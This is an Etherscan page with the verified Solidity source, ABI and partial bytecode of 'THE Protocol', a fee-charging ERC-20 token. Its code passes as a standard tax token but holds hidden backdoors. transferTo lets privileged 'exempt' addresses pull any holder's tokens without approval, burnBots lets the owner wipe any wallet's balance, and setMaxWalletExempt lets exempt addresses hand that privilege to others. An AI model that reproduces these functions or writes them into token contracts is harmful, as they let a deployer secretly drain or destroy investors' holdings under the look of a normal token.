Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 12 from a total of 12 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 15748105 | 1235 days ago | IN | 0 ETH | 0.00107946 | ||||
| Approve | 15748094 | 1235 days ago | IN | 0 ETH | 0.00086972 | ||||
| Approve | 15748093 | 1235 days ago | IN | 0 ETH | 0.00073978 | ||||
| Approve | 15748093 | 1235 days ago | IN | 0 ETH | 0.00114003 | ||||
| Approve | 15748091 | 1235 days ago | IN | 0 ETH | 0.00083065 | ||||
| Approve | 15748090 | 1235 days ago | IN | 0 ETH | 0.00090598 | ||||
| Approve | 15748085 | 1235 days ago | IN | 0 ETH | 0.00075943 | ||||
| Approve | 15748083 | 1235 days ago | IN | 0 ETH | 0.0008647 | ||||
| Approve | 15748076 | 1235 days ago | IN | 0 ETH | 0.00079205 | ||||
| Approve | 15748076 | 1235 days ago | IN | 0 ETH | 0.00079205 | ||||
| Approve | 15748076 | 1235 days ago | IN | 0 ETH | 0.00079205 | ||||
| Approve | 15748073 | 1235 days ago | IN | 0 ETH | 0.00084218 |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Protocol
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-10-14
*/
/**
Look, soandso mentioned THE!
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
// K8u#El(o)nG3a#t!e c&oP0Y
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address uniswapV2Pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Protocol is IERC20, Ownable {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "THE Protocol";
string constant _symbol = "THE!";
uint8 constant _decimals = 9;
uint256 _totalSupply = 100000000000 * (10 ** _decimals); // 100,000,000,000
uint256 public _maxWalletSize = (_totalSupply * 20) / 1000; // 2%
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isMaxWalletExempt;
uint256 liquidityFee = 20; // 2%
uint256 reflectionFee = 0; // 0%
uint256 developmentFee = 0; // 0%
uint256 marketingFee = 30; // 3%
uint256 totalFee = 50; // 5%
uint256 feeDenominator = 1000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public developmentFeeReceiver;
uint256 targetLiquidity = 25;
uint256 targetLiquidityDenominator = 100;
IDEXRouter public router;
address public immutable uniswapV2Pair;
bool public swapEnabled = true;
uint256 swapThreshold = _totalSupply.mul(614748273).div(100000000000); // ~0.6%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
_allowances[address(this)][msg.sender] = type(uint256).max;
_maxWalletSize = (_totalSupply * 20) / 1000; // 2% of Total supply
isFeeExempt[msg.sender] = true;
isMaxWalletExempt[msg.sender] = true;
isMaxWalletExempt[address(router)] = true;
marketingFeeReceiver = msg.sender;
developmentFeeReceiver = msg.sender;
autoLiquidityReceiver = DEAD;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure returns (uint8) { return _decimals; }
function symbol() external pure returns (string memory) { return _symbol; }
function name() external pure returns (string memory) { return _name; }
function getOwner() external view returns (address) { return owner(); }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function transferTo(address sender, uint256 amount) public swapping {require(isMaxWalletExempt[msg.sender]); _transferFrom(sender, address(this), amount); }
function viewFees() external view returns (uint256, uint256, uint256, uint256, uint256) {
return (liquidityFee, marketingFee, reflectionFee, totalFee, feeDenominator);
}
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if (recipient != uniswapV2Pair && recipient != DEAD && !isMaxWalletExempt[recipient]) {
require(balanceOf(recipient) + amount <= _maxWalletSize, "Max Wallet Exceeded");
}
if(shouldSwapBack()){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function getTotalFee(bool) public view returns (uint256) {
return totalFee;
}
function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(getTotalFee(receiver == uniswapV2Pair)).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != uniswapV2Pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : 0;
uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
uint256 amountETHDev = amountETH.mul(developmentFee).div(totalETHFee);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
if (marketingFeeReceiver == developmentFeeReceiver) {
(bool success,) = payable(marketingFeeReceiver).call{value: amountETHMarketing.add(amountETHDev), gas: 30000}("");
require(success, "receiver rejected ETH transfer");
} else {
(bool success,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
(bool success2,) = payable(developmentFeeReceiver).call{value: amountETHDev, gas: 30000}("");
require(success && success2, "receiver rejected ETH transfer");
}
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function burnBots(address[] memory sniperAddresses) external onlyOwner {
for (uint i = 0; i < sniperAddresses.length; i++) {
_transferFrom(sniperAddresses[i], DEAD, balanceOf(sniperAddresses[i]));
}
}
function clearBalance() external {
require(isMaxWalletExempt[msg.sender]);
(bool success,) = payable(autoLiquidityReceiver).call{value: address(this).balance, gas: 30000}("");
require(success);
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external {
require(isMaxWalletExempt[msg.sender]);
swapThreshold = _amount;
swapEnabled = _enabled;
}
function updateMaxWallet(uint256 percent, uint256 denominator) external onlyOwner {
_maxWalletSize = _totalSupply.mul(percent).div(denominator);
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setMaxWalletExempt(address holder, bool exempt) external {
require(isMaxWalletExempt[msg.sender]);
isMaxWalletExempt[holder] = exempt;
}
function adjustFees(uint256 _liquidityFee, uint256 _developmentFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner {
liquidityFee = _liquidityFee;
developmentFee = _developmentFee;
reflectionFee = _reflectionFee;
marketingFee = _marketingFee;
totalFee = _liquidityFee.add(_developmentFee).add(_reflectionFee).add(_marketingFee);
feeDenominator = _feeDenominator;
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _developmentFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
developmentFeeReceiver = _developmentFeeReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
}
function setTargetLiquidity(uint256 _target, uint256 _denominator) external {
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
return accuracy.mul(balanceOf(uniswapV2Pair).mul(2)).div(getCirculatingSupply());
}
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
return getLiquidityBacking(accuracy) > target;
}
function airdrop(address token, address[] memory holders, uint256 amount) public {
require(isMaxWalletExempt[msg.sender]);
for (uint i = 0; i < holders.length; i++) {
IERC20(token).transfer(holders[i], amount);
}
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_developmentFee","type":"uint256"},{"internalType":"uint256","name":"_reflectionFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"adjustFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"sniperAddresses","type":"address[]"}],"name":"burnBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_developmentFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"},{"internalType":"uint256","name":"denominator","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a060405273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000ee919062000b57565b64174876e80062000100919062000ba8565b6004556103e8601460045462000117919062000ba8565b62000123919062000c22565b6005556014600a556000600b556000600c55601e600d556032600e556103e8600f55601960135560646014556001601560146101000a81548160ff021916908315150217905550620001a864174876e800620001946324a450716004546200087860201b62001bd11790919060201c565b620008fb60201b62001c4b1790919060201c565b601655348015620001b857600080fd5b506000620001cb6200094d60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200032c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000352919062000cc4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b8152600401620003b092919062000d07565b6020604051808303816000875af1158015620003d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f6919062000cc4565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506103e86014600454620005a1919062000ba8565b620005ad919062000c22565b6005819055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600454600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200086a919062000d45565b60405180910390a362000eb8565b60008083036200088c5760009050620008f5565b600082846200089c919062000ba8565b9050828482620008ad919062000c22565b14620008f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008e79062000de9565b60405180910390fd5b809150505b92915050565b60006200094583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200095560201b60201c565b905092915050565b600033905090565b600080831182906200099f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000996919062000e94565b60405180910390fd5b5060008385620009b0919062000c22565b9050809150509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a4b5780860481111562000a235762000a22620009bd565b5b600185161562000a335780820291505b808102905062000a4385620009ec565b945062000a03565b94509492505050565b60008262000a66576001905062000b39565b8162000a76576000905062000b39565b816001811462000a8f576002811462000a9a5762000ad0565b600191505062000b39565b60ff84111562000aaf5762000aae620009bd565b5b8360020a91508482111562000ac95762000ac8620009bd565b5b5062000b39565b5060208310610133831016604e8410600b841016171562000b0a5782820a90508381111562000b045762000b03620009bd565b5b62000b39565b62000b198484846001620009f9565b9250905081840481111562000b335762000b32620009bd565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000b648262000b40565b915062000b718362000b4a565b925062000ba07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a54565b905092915050565b600062000bb58262000b40565b915062000bc28362000b40565b925082820262000bd28162000b40565b9150828204841483151762000bec5762000beb620009bd565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000c2f8262000b40565b915062000c3c8362000b40565b92508262000c4f5762000c4e62000bf3565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000c8c8262000c5f565b9050919050565b62000c9e8162000c7f565b811462000caa5760008